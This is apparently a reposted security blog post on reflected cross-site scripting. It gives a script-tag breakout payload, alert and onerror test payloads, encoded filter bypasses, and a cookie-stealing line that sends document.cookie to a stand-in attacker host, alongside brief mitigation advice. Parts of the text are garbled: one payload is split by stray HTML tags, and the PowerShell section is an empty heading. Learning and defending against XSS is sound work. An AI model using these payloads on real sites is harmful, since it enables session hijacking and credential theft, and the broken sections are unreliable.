Threat Actor Mindset | LegionHunter: Reflected Cross-Site Scripting (RXSS) Exploitation

Reflected Cross-Site Scripting (RXSS) is a type of web vulnerability where malicious scripts are injected into a website and executed when the victim loads the compromised URL. Below is a practical demonstration of RXSS exploitation:

');});//]]></script><script>prompt(/legionhunter/);</script></body></html><!--

You Should Know:

1. How RXSS Works

• The attacker crafts a malicious URL containing a script payload.
• The victim clicks the link, and the server “reflects” the input (unsanitized) back in the response.
• The browser executes the script in the victim’s context.

2. Testing for RXSS

Use simple payloads to test input fields:

<script>alert('XSS')</script>

Or event-based XSS:

<img src=x onerror=alert(1)>

3. Bypassing Basic Filters

• Hex/URL Encoding:

  %3Cscript%3Ealert(1)%3C/script%3E 
  

• Using JavaScript Events:

  </li>
  </ul>
  
  <
  
  svg/onload=alert('legionhunter')> 
  

  4. Mitigation Techniques

  • Input Sanitization: Strip or encode dangerous characters (<, >, &, ", ').
  • Content Security Policy (CSP): Restrict script execution to trusted sources.
  • HTTP-only Cookies: Prevent JavaScript from accessing session cookies.

  5. Advanced Exploitation (Stealing Cookies)

  <script>fetch('https://attacker.com/steal?cookie='+document.cookie);</script>
  

  6. Linux Command for Testing Web Security

  Use `curl` to test reflected inputs:

  curl -X GET "https://example.com/search?q=<script>alert(1)</script>"
  

  7. Windows PowerShell for XSS Payload Encoding

  What Undercode Say:

  RXSS remains a critical threat due to poor input validation. Attackers leverage social engineering to trick victims into clicking malicious links. Defenders must enforce strict output encoding, implement CSP, and conduct regular penetration testing. Tools like Burp Suite, OWASP ZAP, and XSS Hunter help identify and exploit such flaws.

  Expected Output:

  • A pop-up displaying `legionhunter` when the RXSS payload executes.
  • Server logs showing unsanitized input reflection.
  • Browser console errors if CSP blocks the script.

  For deeper exploitation, check:

  • OWASP XSS Cheat Sheet
  • PortSwigger XSS Labs

  References:

  Reported By: Abhirup Konwar – Hackers Feeds
  Extra Hub: Undercode MoN
  Basic Verification: Pass ✅

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